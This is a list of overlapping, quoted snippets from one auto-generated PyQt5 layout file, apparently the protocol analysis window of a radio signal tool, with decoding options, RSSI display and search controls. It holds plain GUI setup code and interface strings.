"= QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth())",
"the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the",
"\"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\"))",
"self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy)",
"self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label,",
"self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential",
"self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy",
"QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy =",
"self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point in time",
"QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine)",
"self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s)",
"self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy",
"1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1)",
"4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth())",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState)",
"self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1,",
"self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15))",
"1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy)",
"= LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\")",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly)",
"self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3)",
"QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth())",
"16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols =",
"self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame)",
"be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis):",
"self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 =",
"self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\",",
"QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)",
"self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\")",
"self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget()",
"LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True)",
"QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\")",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 =",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch,",
"20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken)",
"self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2)",
"self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1)",
"self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\")",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues,",
"self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\")",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\")",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 =",
"\"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point in time when a protocol",
"from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372,",
"time when a protocol message begins. Additionally the relative time (+ ...) from",
"= QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215))",
"= QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1)",
"the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\"))",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents)",
"= QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy",
"self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\",",
"a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\"))",
"sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy",
"protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\"))",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0,",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\")",
"\"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here. To add custom",
"self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy =",
"0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12,",
"\"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only",
"file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7,",
"sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter",
"= QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth())",
"self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits =",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2",
"<span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power of the",
"for protocol fields here. To add custom field types use Rightclick -> Edit.\"))",
"= QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue",
"average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\"",
